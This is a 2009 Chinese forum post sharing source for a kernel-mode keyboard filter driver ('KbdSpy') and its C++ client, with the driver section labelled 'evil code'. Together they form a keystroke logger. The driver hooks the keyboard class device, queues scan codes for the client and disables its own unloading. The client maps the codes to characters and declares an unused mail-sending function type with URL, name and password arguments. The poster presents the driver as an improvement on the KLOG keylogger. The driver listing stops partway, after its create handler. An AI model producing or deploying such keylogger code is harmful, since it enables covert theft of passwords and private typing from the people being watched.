首页
社区
课程
招聘
[分享]完整的键盘过滤驱动代码
发表于: 2009-10-18 17:22 7859

[分享]完整的键盘过滤驱动代码

2009-10-18 17:22
7859

不知什么原因从网下下来的匾译不能通过,于是花了些时日将其编译通过,
编译环境:kmdkit+masn32
测试截图如下:

修改:
一:
增加了一个dprintf 的宏,便于调试时观察, 可以关闭输出信息
二:
增加了KEY_DATA,KEY_DATA_ENTRY和三个IOCTL的定义
三:
主要对FillKeyData,,,CDO_DispatchDeviceControl 里面的代码进行了修改,

这个键盘过滤驱动较KLOG的优点如下:
一:
KLOG 中是每次截得一个KEY 就分配一个NPAGE,分配十几次之后,,机就会挂掉,而这个驱动里予先
申请了一个NPAGEasidelist 来保存得到的KEY,
二:
增加了FiDO_DispatchPower 对关机时power IRP 的处理,,不然就会BSOD

备:
驱动加载之后,要先发一个attach ,驱动才开始截取键盘消息,,,卸载时用dettach
app代码很简单,完整驱动代码见附件

BLOG:http://numega.cn/twister
(欢迎和大家交流驱动方面的东东;))

app代码:
#include "stdafx.h"
#include "windows.h"
#include<crtdbg.h>
#include "winioctl.h"

typedef  bool  (*pfn_asp_send_mail)(char * httpaddr,char * name,char *pass);

extern "C" __declspec(dllexport)  void  getaddr(void )
{

return ;
}

////////////////////////////////////////////////////////////////////////////
// SCAN CODE MAP - For the purposes of this driver, the only keys 
// that will be logged are the alphabetical keys, the numeric keys, 
// and the special characters (ie. #,$,%,ect). Keys like, "ENTER",
// "SHIFT", "ESC", ect will filtered out and not be logged out to the file.
////////////////////////////////////////////////////////////////////////////
#define INVALID 0X00 //scan code not supported by this driver
#define SPACE 0X01 //space bar
#define ENTER 0X02 //enter key
#define LSHIFT 0x03 //left shift key
#define RSHIFT 0x04 //right shift key
#define CTRL  0x05 //control key
#define ALT    0x06 //alt key

char KeyMap[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
INVALID, //E
INVALID, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
CTRL, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'\'', //28
'`', //29
LSHIFT,  //2A
'\\', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
ALT, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};

//
// Define the various device type values.  Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//

#define FILE_DEVICE_KLOG  0x8000

//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//

#define KLOG_IOCTL_BASE  0x800

//
// The device driver IOCTLs
//

#define CTL_CODE_KLOG(i) CTL_CODE(FILE_DEVICE_UNKNOWN , KLOG_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_START  CTL_CODE_KLOG(0)
#define IOCTL_STOP  CTL_CODE_KLOG(1)

#define IOCTL_KEYBOARD_ATTACH      CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KEYBOARD_DETACH      CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_GET_KEY_DATA         CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define KLog_DEVICE_NAME_W      L"\\Device\\KLog"
#define KLog_DOS_DEVICE_NAME_W    L"\\DosDevices\\KLog"

/////////////////////////Struct/////////////////////////////////////////////
typedef struct _KEY_DATA
{
     DWORD  dwScanCode;
     DWORD  Flags;
}KEY_DATA ,* PKEY_DATA ;

KEY_DATA  g_KEY_DATA[260];
DWORD nkd;

///////////////Global/////////////////////////////////////////////////////////
HANDLE evtHandle;

/********************************************************************************
 * getlasterror message
 *******************************************************************************/
LPCTSTR GetErrMsg(void)  
{  
    DWORD dwErrCode;   
    LPCTSTR lpErrMsg;  

    dwErrCode = GetLastError();  
      
    FormatMessage(   
        FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,  
        (LPCVOID)NULL,  
        dwErrCode,  
        MAKELANGID( LANG_NEUTRAL, SUBLANG_NEUTRAL ),  
        (LPSTR)&lpErrMsg,  
        0, 
        NULL );  

    return lpErrMsg;  
}  

void GetKeyData()
{
dprintf("enter GetKeyData...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
  if(h_Device!=INVALID_HANDLE_VALUE)
  {
       if(!DeviceIoControl(h_Device, IOCTL_GET_KEY_DATA,
              NULL,
        0,
              &g_KEY_DATA,
              sizeof(g_KEY_DATA),
              &dwRet,
              NULL))
        dprintf("DeviceIoControl IOCTL_GET_KEY_DATA failed...\n");
     ///
     nkd=dwRet;
  }
  else
  {
    dprintf("can not open device\n");
  dprintf("GetErrMsg=%s",GetErrMsg());
   
  }

 CloseHandle(h_Device);

}

void Keydoard_Attach()
{
  
dprintf("enter Keydoard_Attach...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);

DWORD dwRet;
evtHandle=CreateEvent(NULL,true,false,NULL);

  if(h_Device!=INVALID_HANDLE_VALUE)
  {
       if(!DeviceIoControl(h_Device, IOCTL_KEYBOARD_ATTACH,
              &evtHandle,
        sizeof(HANDLE),
              NULL,
              0,
              &dwRet,
              NULL))
        dprintf("DeviceIoControl IOCTL_KEYBOARD_ATTACH failed...\n");
  }
  else
  {
    dprintf("can not open device\n");
  dprintf("GetErrMsg=%s",GetErrMsg());
   
  }

 CloseHandle(h_Device);

}

void Keydoard_Detach()
{
  
printf("enter Keydoard_Detach...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);

DWORD dwRet;

  if(h_Device!=INVALID_HANDLE_VALUE)
  {
       if(!DeviceIoControl(h_Device, IOCTL_KEYBOARD_DETACH,
               NULL,
        0,
              NULL,
              0,
              &dwRet,
              NULL))
        printf("DeviceIoControl IOCTL_START failed...\n");
  }
  else
  {
    printf("can not open device\n");
  printf("GetErrMsg=%s",GetErrMsg());
   
  }

 CloseHandle(h_Device);

}

//int _tmain(int argc, _TCHAR* argv[])
//{  
//  
//Keydoard_Attach();
//int n=0;
//
//while(true)
//{
//if(WaitForSingleObject(evtHandle,INFINITE)==WAIT_OBJECT_0)
//{
//GetKeyData();
//
//printf("[%d] dwScanCode=%c,flags=%d,i=%d\n",n++,KeyMap[g_KEY_DATA.dwScanCode],g_KEY_DATA.Flags,nkd);
//
//}
//ResetEvent(evtHandle);//set nonsignal
////Sleep(1000);
//}
//
// getchar();
//  return 0;
//}
//

驱动代码:

/////////////////////////////////////////////////evil code//////////////////////////////////////////

;@echo off
;goto make

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
;  KbdSpy - This is an example of a simple legacy keyboard filter driver.
;
;  WARNING: You will fail to attach to USB-keyboard stack
;
;  We create two device objects. The first one is a control device. It provides
;  the interface to our user-mode client. The second device is a filter device.
;  It intercepts keyboard data being passed from the keyboard class driver.
;  So, it is an upper filter.  The intercepted data is collected in the list.
;  Upon timer triggering we signal shared event object to notify our user-mode
;  client about there is something interesting for it.  The user-mode client
;  issues control request and we copy all info into the buffer.
;
;  Written by Four-F (four-f@mail.ru)
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.486
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                  I N C L U D E   F I L E S                                       
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntddk.inc
include \masm32\include\w2k\ntoskrnl.inc
include \masm32\include\w2k\ntddkbd.inc
include \masm32\include\w2k\hal.inc
include \masm32\include\winioctl.inc   ;///

includelib \masm32\lib\w2k\ntoskrnl.lib
includelib \masm32\lib\w2k\hal.lib

include \masm32\Macros\Strings.mac

include .\common.inc

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       M A C R O S                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

; spin lock macros
LOCK_ACQUIRE MACRO lck:REQ
 ; Returns old IRQL in al
 IF (OPATTR (lck)) AND 00010000y
  ;; Is a register value
  IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
   mov ecx, lck
  ENDIF
 ELSEIF (OPATTR (lck)) AND 01000000y
  ;; relative to SS
  lea ecx, lck
 ELSE
  mov ecx, offset lck
 ENDIF
 fastcall KfAcquireSpinLock, ecx
ENDM

LOCK_RELEASE MACRO lck:REQ, NewIrql:REQ
 IF (OPATTR (lck)) AND 00010000y
  ;; Is a register value
  IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
   mov ecx, lck
  ENDIF
 ELSEIF (OPATTR (lck)) AND 01000000y
  ;; relative to SS
  lea ecx, lck
 ELSE
  mov ecx, offset lck
 ENDIF

 IFDIFI <NewIrql>, <dl> ;; don't move dl onto itself
  mov dl, NewIrql
 ENDIF

 .if dl == DISPATCH_LEVEL
  fastcall KefReleaseSpinLockFromDpcLevel, ecx
 .else
  and edx, 0FFh  ;; for shure (KIRQL is BYTE)
  fastcall KfReleaseSpinLock, ecx, edx
 .endif
ENDM

; mutex macros

MUTEX_INIT MACRO mtx:REQ
 IF (OPATTR (mtx)) AND 00010000y
  ;; Is a register value
  invoke KeInitializeMutex, mtx, 0
 ELSEIF (OPATTR (mtx)) AND 01000000y
  ;; relative to SS
  invoke KeInitializeMutex, addr mtx, 0
 ELSE
  invoke KeInitializeMutex, offset mtx, 0
 ENDIF
ENDM

MUTEX_ACQUIRE MACRO mtx:REQ
 IF (OPATTR (mtx)) AND 00010000y
  ;; Is a register value
  invoke KeWaitForMutexObject, mtx, Executive, KernelMode, FALSE, NULL
 ELSEIF (OPATTR (mtx)) AND 01000000y
  ;; relative to SS
  invoke KeWaitForMutexObject, addr mtx, Executive, KernelMode, FALSE, NULL
 ELSE
  invoke KeWaitForMutexObject, offset mtx, Executive, KernelMode, FALSE, NULL
 ENDIF
ENDM

MUTEX_RELEASE MACRO mtx:REQ
 IF (OPATTR (mtx)) AND 00010000y
  ;; Is a register value
  invoke KeReleaseMutex, mtx, FALSE
 ELSEIF (OPATTR (mtx)) AND 01000000y
  ;; relative to SS
  invoke KeReleaseMutex, addr mtx, FALSE
 ELSE
  invoke KeReleaseMutex, offset mtx, FALSE
 ENDIF
ENDM

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                     S T R U C T U R E S                                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

;:::::::::::::::::::::::::::::::::::twister:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
IOCTL_KEYBOARD_ATTACH     equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0800h, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_KEYBOARD_DETACH     equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0801h, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_GET_KEY_DATA        equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0802h, METHOD_BUFFERED, FILE_ANY_ACCESS)

KEY_DATA STRUCT
  ; ListEntry LIST_ENTRY
   dwScanCode  DWORD  ?
   Flags  DWORD  ?
KEY_DATA ENDS

PKEY_DATA typedef ptr KEY_DATA

KEY_DATA_ENTRY STRUCT
 ListEntry LIST_ENTRY <> ; For memory blocks tracking.
 KeyData  KEY_DATA <>
KEY_DATA_ENTRY ENDS
;:::::::::::::::::::::::::::::::::::twister:::::::::::::::::::::::::::::::::::::::::::::::::::::::::

FiDO_DEVICE_EXTENSION STRUCT

 ; The top of the stack before this filter was added

 pNextLowerDeviceObject PDEVICE_OBJECT ?

 ; The referenced pointer to file object that represents
 ; the corresponding device object.  This pointer we get
 ; from IoGetDeviceObjectPointer and must dereference
 ; while detaching.

 pTargetFileObject PFILE_OBJECT ?

FiDO_DEVICE_EXTENSION ENDS
PFiDO_DEVICE_EXTENSION typedef ptr FiDO_DEVICE_EXTENSION

CDO_DEVICE_EXTENSION STRUCT 
g_fCDO_Opened     BOOL   ?
g_fFiDO_Attached    BOOL   ?
g_fSpy       BOOL   ?
CDO_DEVICE_EXTENSION ENDS
PCDO_DEVICE_EXTENSION   typedef ptr CDO_DEVICE_EXTENSION
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                 R E A D O N L Y    D A T A                                       
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.const

CCOUNTED_UNICODE_STRING "\\Device\\KbdSpy", g_usControlDeviceName, 4
CCOUNTED_UNICODE_STRING "\\DosDevices\\KbdSpy", g_usSymbolicLinkName, 4

CCOUNTED_UNICODE_STRING "\\Device\\KeyboardClass0", g_usTargetDeviceName, 4

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              U N I N I T I A L I Z E D  D A T A                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.data?

g_pDriverObject     PDRIVER_OBJECT ?

g_pControlDeviceObject   PDEVICE_OBJECT ? ; Control Device Object pointer
g_pFilterDeviceObject   PDEVICE_OBJECT ? ; Filter Device Object pointer

g_pEventObject     PKEVENT   ?
; This spin-lock let us be sure that no one will dereference event object pointer
; while we compare it agaist NULL and then call KeSetEvent in our completion routine
g_EventSpinLock     KSPIN_LOCK  ? ; locks key data list

g_fCDO_Opened     BOOL   ?
g_fFiDO_Attached    BOOL   ?
g_fSpy       BOOL   ?

g_dwPendingRequests    DWORD   ?

align 4
g_pKeyDataLookaside    PNPAGED_LOOKASIDE_LIST ?

align 4
g_KeyDataListHead    LIST_ENTRY  <> ; accessed under lock

; Holds number of KEY_DATA_ENTRYs in list. Should not exceed MAX_KEY_DATA_ENTRIES.
g_cKeyDataEntries    SDWORD   ? ; accessed under lock

; This spin-lock let us be sure that only one thread is working with key data at a time
g_KeyDataSpinLock    KSPIN_LOCK  ?

; This mutex let us be sure no one will try to do some unpredictable things.
; For example: no one can try to attach while we in the middle of the detaching.
align 4
g_mtxCDO_State     KMUTEX  <>

g_KEY_DATA  KEY_DATA    <>

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                         C O D E                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              _ExAllocateFromNPagedLookasideList                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

_ExAllocateFromNPagedLookasideList proc uses esi Lookaside:PNPAGED_LOOKASIDE_LIST

;; Function Description:
;;    This function removes (pops) the first entry from the specified
;;    nonpaged lookaside list.
;;
;; Arguments:
;;    Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;;
;; Return Value:
;;    If an entry is removed from the specified lookaside list, then the
;;    address of the entry is returned as the function value. Otherwise,
;;    NULL is returned.

 mov esi, Lookaside
 assume esi:ptr NPAGED_LOOKASIDE_LIST
 mov ecx, esi
 inc [esi].L.TotalAllocates
 lea edx, [esi]._Lock
 fastcall ExInterlockedPopEntrySList, ecx, edx
 .if eax == NULL
  push [esi].L.Tag
  inc [esi].L.AllocateMisses
  push [esi].L._Size
  push [esi].L._Type
  call [esi].L.Allocate
 .endif
 assume esi:nothing

 ret

_ExAllocateFromNPagedLookasideList endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                  _ExFreeToNPagedLookasideList                                    
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

_ExFreeToNPagedLookasideList proc Lookaside:PNPAGED_LOOKASIDE_LIST, Entry:PVOID

;; Function Description:
;;    This function inserts (pushes) the specified entry into the specified
;;    nonpaged lookaside list.
;;
;; Arguments:
;;    Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;;    Entry - Supples a pointer to the entry that is inserted in the lookaside list.
;;
;; Return Value:
;;    None.

 mov ecx, Lookaside
 assume ecx:ptr NPAGED_LOOKASIDE_LIST
 inc [ecx].L.TotalFrees
 mov ax, [ecx].L.ListHead.Depth
 .if ax >= [ecx].L.Depth
  push Entry
  inc [ecx].L.FreeMisses
  call [ecx].L.Free
 .else
  mov edx, Entry
  lea eax, [ecx]._Lock
  fastcall ExInterlockedPushEntrySList, ecx, edx, eax
 .endif
 assume ecx:nothing

 ret

_ExFreeToNPagedLookasideList endp
  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                         AddEntry                                                 
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

AddEntry proc uses ebx pKeyData:PKEY_DATA

; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code.  So, this proc may be optimized a little.

 LOCK_ACQUIRE g_KeyDataSpinLock
 mov bl, al   ; old IRQL

 .if g_cKeyDataEntries < 255  ; MAX_KEY_DATA_ENTRIES=255

  ; Allocate new entry from lookaside list
 
  invoke _ExAllocateFromNPagedLookasideList, g_pKeyDataLookaside
  .if eax != NULL

   mov edx, eax
   assume edx:ptr KEY_DATA_ENTRY

   mov ecx, pKeyData
   assume ecx:ptr KEY_DATA

   mov eax, [ecx].dwScanCode
   mov [edx].KeyData.dwScanCode, eax

   mov eax, [ecx].Flags
   mov [edx].KeyData.Flags, eax

   assume ecx:nothing

   ; Add to head

   lea ecx, [edx].ListEntry
   InsertHeadList addr g_KeyDataListHead, ecx

   assume edx:nothing

   inc g_cKeyDataEntries
   
  .endif
 .endif

 LOCK_RELEASE g_KeyDataSpinLock, bl

 ret

AddEntry endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       RemoveEntry                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

RemoveEntry proc uses ebx pBuffer:PVOID

local cbCopied:DWORD

 and cbCopied, 0
 
 ; We have to access g_cKeyDataEntries and g_KeyDataListHead
 ; under lock protection. Since keyboard hits occur relatively rare
 ; we simply protect whole code.  So, this proc may be optimized a little.
 
 LOCK_ACQUIRE g_KeyDataSpinLock
 mov bl, al       ; old IRQL

 IsListEmpty addr g_KeyDataListHead
 .if eax != TRUE       ; Is there something to remove?
   
  ; Remove from tail

  RemoveTailList addr g_KeyDataListHead

  mov edx, eax      ; edx -> KEY_DATA_ENTRY.ListEntry
  sub edx, KEY_DATA_ENTRY.ListEntry ; edx -> KEY_DATA_ENTRY  ;why ??? sub , KEY_DATA_ENTRY.ListEntry is what 

  assume edx:ptr KEY_DATA_ENTRY

  mov ecx, pBuffer
  assume ecx:ptr KEY_DATA

  mov eax, [edx].KeyData.dwScanCode
  mov [ecx].dwScanCode, eax

  mov eax, [edx].KeyData.Flags
  mov [ecx].Flags, eax

  mov cbCopied, sizeof KEY_DATA

  assume ecx:nothing
  assume edx:nothing

  ; Put a block back onto lookaside list
  ; 
  invoke _ExFreeToNPagedLookasideList, g_pKeyDataLookaside, edx

  dec g_cKeyDataEntries

 .endif

 LOCK_RELEASE g_KeyDataSpinLock, bl

 mov eax, cbCopied
 ret

RemoveEntry endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      KeyboardAttach                                              
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

KeyboardAttach proc

local status:NTSTATUS
local pTargetDeviceObject:PDEVICE_OBJECT
local pTargetFileObject:PFILE_OBJECT

dprintf  $CTA0("KbdSpy: Entering KeyboardAttach\n")
  
 mov status, STATUS_UNSUCCESSFUL

 .if ( g_pFilterDeviceObject != NULL )

  ; Filter device object exist and should be attached

  mov status, STATUS_SUCCESS

 .else

  ; Let's attach to keyboard device stack
  ;
  ; Create unnamed device because filter device objects should never be named.
  ; We are going to attach it to existing keyboard device stack. So no one may
  ; directly open filter device by name.
  
  mov eax, g_pControlDeviceObject
  mov ecx, (DEVICE_OBJECT PTR [eax]).DriverObject

  invoke IoCreateDevice, ecx, sizeof FiDO_DEVICE_EXTENSION, NULL, \
     FILE_DEVICE_UNKNOWN, 0, FALSE, addr g_pFilterDeviceObject
  .if eax == STATUS_SUCCESS
 
   ; Supply a name for any device object in the stack we are about to attach to.
   ; IoGetDeviceObjectPointer returns the pointer to upper most device object in the stack.

   invoke IoGetDeviceObjectPointer, addr g_usTargetDeviceName, FILE_READ_DATA, \
          addr pTargetFileObject, addr pTargetDeviceObject
   .if eax == STATUS_SUCCESS
   
    ; Here we have two pointers: pointer to the topmost device in the keyboard stack
    ; and pointer to the corresponding file object.  IoGetDeviceObjectPointer
    ; references file object but not the device object. 
    ;
    ; We are just one line from attaching to our target.  We must prevent
    ; our driver from unloading while it intercepts keyboard IRPs.
    ; We could use RemoveLock, but the easiest solution is to remove pointer
    ; to DriverUnload routine from driver object. OK, let's do it.

    mov eax, g_pDriverObject
    and (DRIVER_OBJECT PTR [eax]).DriverUnload, NULL
   
    ; Now our driver is not unloadable

    invoke IoAttachDeviceToDeviceStack, g_pFilterDeviceObject, pTargetDeviceObject
    .if eax != NULL

     mov edx, eax

     ; Fill filter device object extension

     mov ecx, g_pFilterDeviceObject
     mov eax, (DEVICE_OBJECT ptr [ecx]).DeviceExtension
     assume eax:ptr FiDO_DEVICE_EXTENSION
     mov [eax].pNextLowerDeviceObject, edx
     push pTargetFileObject
     pop [eax].pTargetFileObject
     assume eax:nothing

     ; We need to copy DeviceType and Characteristics from the target device object
     ; underneath us to our filter device object.  We also need to copy DO_DIRECT_IO,
     ; DO_BUFFERED_IO, and DO_POWER_PAGABLE flags.  This guarantees that the filter
     ; device object looks the same as the target device object.

     assume edx:ptr DEVICE_OBJECT
     assume ecx:ptr DEVICE_OBJECT

     mov eax, [edx].DeviceType
     mov [ecx].DeviceType, eax

     mov eax, [edx].Flags
     and eax, DO_DIRECT_IO + DO_BUFFERED_IO + DO_POWER_PAGABLE
     or [ecx].Flags, eax

     ; IoCreateDevice sets the DO_DEVICE_INITIALIZING flag in the device object.
     ; While this flag is set, the I/O Manager will refuse to attach other device
     ; objects to us or to open a handle to our device.  So we have to clear
     ; this flag because now we are ready to filter.
     ;
     ; Note: It is not necessary to clear the DO_DEVICE_INITIALIZING flag on device
     ; objects that are created in DriverEntry, because this is done automatically
     ; by the I/O Manager.

     and [ecx].Flags, not DO_DEVICE_INITIALIZING

     assume edx:nothing
     assume ecx:nothing

     mov status, STATUS_SUCCESS

    .else  ; IoAttachDeviceToDeviceStack failed

     ; We have failed to attach

     invoke ObDereferenceObject, pTargetFileObject
    
     invoke IoDeleteDevice, g_pFilterDeviceObject
     and g_pFilterDeviceObject, NULL

     ; Let the driver to be unloaded
  
     mov eax, g_pDriverObject
     mov (DRIVER_OBJECT PTR [eax]).DriverUnload, offset DriverUnload

     dprintf  $CTA0("KbdSpy: Couldn't attach to target device\n")

     mov status, STATUS_NO_SUCH_DEVICE

    .endif
      
   .else  ; IoGetDeviceObjectPointer failed

    invoke IoDeleteDevice, g_pFilterDeviceObject
    and g_pFilterDeviceObject, NULL
     
    dprintf  $CTA0("KbdSpy: Couldn't get target device object pointer\n")
   .endif

  .else
   dprintf  $CTA0("KbdSpy: Couldn't create filter device\n")
  .endif

 .endif

 mov eax, status
 ret

KeyboardAttach endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      KeyboardDetach                                              
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

KeyboardDetach proc

local status:NTSTATUS
local pTopmostDeviceObject:PDEVICE_OBJECT

dprintf  $CTA0("KbdSpy: Entering KeyboardDetach\n")  

 mov status, STATUS_UNSUCCESSFUL

 .if g_pFilterDeviceObject != NULL

  ; Lets see if there is someone above us.
  ; Temporary set the DO_DEVICE_INITIALIZING flag in filter device object.
  ; So no one can attach while we check the stack.

  mov eax, g_pFilterDeviceObject
  or (DEVICE_OBJECT ptr [eax]).Flags, DO_DEVICE_INITIALIZING

  invoke IoGetAttachedDeviceReference, g_pFilterDeviceObject
  mov pTopmostDeviceObject, eax

  .if eax != g_pFilterDeviceObject

   ; Someone sits on the top of us. Do nothing except restoring
   ; Flags field in the filter device object

   mov eax, g_pFilterDeviceObject
   and (DEVICE_OBJECT ptr [eax]).Flags, not DO_DEVICE_INITIALIZING
      
   dprintf  $CTA0("KbdSpy: Couldn't detach. Someone sits over\n")
   dprintf  $CTA0("KbdSpy: Filter device is still attached\n")

  .else   

   mov eax, g_pFilterDeviceObject
   mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
   mov ecx, (FiDO_DEVICE_EXTENSION ptr [eax]).pTargetFileObject

   fastcall ObfDereferenceObject, ecx

   mov eax, g_pFilterDeviceObject
   mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
   mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject

   invoke IoDetachDevice, eax
   
   mov status, STATUS_SUCCESS

   dprintf  $CTA0("KbdSpy: Filter device detached\n")

   ; Destroy filter device.

   mov eax, g_pFilterDeviceObject
   and g_pFilterDeviceObject, NULL
   invoke IoDeleteDevice, eax

   ; Our driver is still not unloadable because we might have outstanding IRPs

  .endif

  ; Dereference the device object pointer returned by IoGetAttachedDeviceReference

  invoke ObDereferenceObject, pTopmostDeviceObject

 .endif

 mov eax, status
 ret

KeyboardDetach endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                  FiDO_DispatchPassThrough                                        
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

FiDO_DispatchPassThrough proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

; The default dispatch routine. Our driver should send down all IRPs it deal not with

    IoSkipCurrentIrpStackLocation pIrp

 mov eax, pDeviceObject
 mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
 mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject

 invoke IoCallDriver, eax, pIrp
 ret

FiDO_DispatchPassThrough endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                    CDO_DispatchCreate                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

CDO_DispatchCreate proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

local status:NTSTATUS
local KeyData:KEY_DATA

 dprintf  $CTA0("KbdSpy: Entering CDO_DispatchCreate\n")

 ; Drain g_KeyDataListHead.  If someone have ran KbdSpy previously
 ; but have failed to unload the driver because of not pressing
 ; a key as recommended, we have at least one pending IRP.  When
 ; someone press a kay this pending IRP is completed and our
 ; completion routine will add one entry into g_KeyDataListHead.
 ; So if it's not a first time we are being created we may have
 ; some entr(ies)y in g_KeyDataListHead from previous sessions.
 ; So lets throw them away.

 ;.while TRUE

  ;invoke RemoveEntry, addr KeyData
  ;.break .if eax == 0

 ;.endw

 MUTEX_ACQUIRE g_mtxCDO_State

 .if g_fCDO_Opened

  ; Only one client at a time is allowed

  mov status, STATUS_DEVICE_BUSY

 .else

  ; No one else may open control device
 
  mov g_fCDO_Opened, TRUE
  
  mov status, STATUS_SUCCESS

 .endif

 MUTEX_RELEASE g_mtxCDO_State

 mov ecx, pIrp
 and (_IRP PTR [ecx]).IoStatus.Information, 0
 mov eax, status
 mov (_IRP PTR [ecx]).IoStatus.Status, eax

 fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT

 mov eax, status
 ret

CDO_DispatchCreate endp

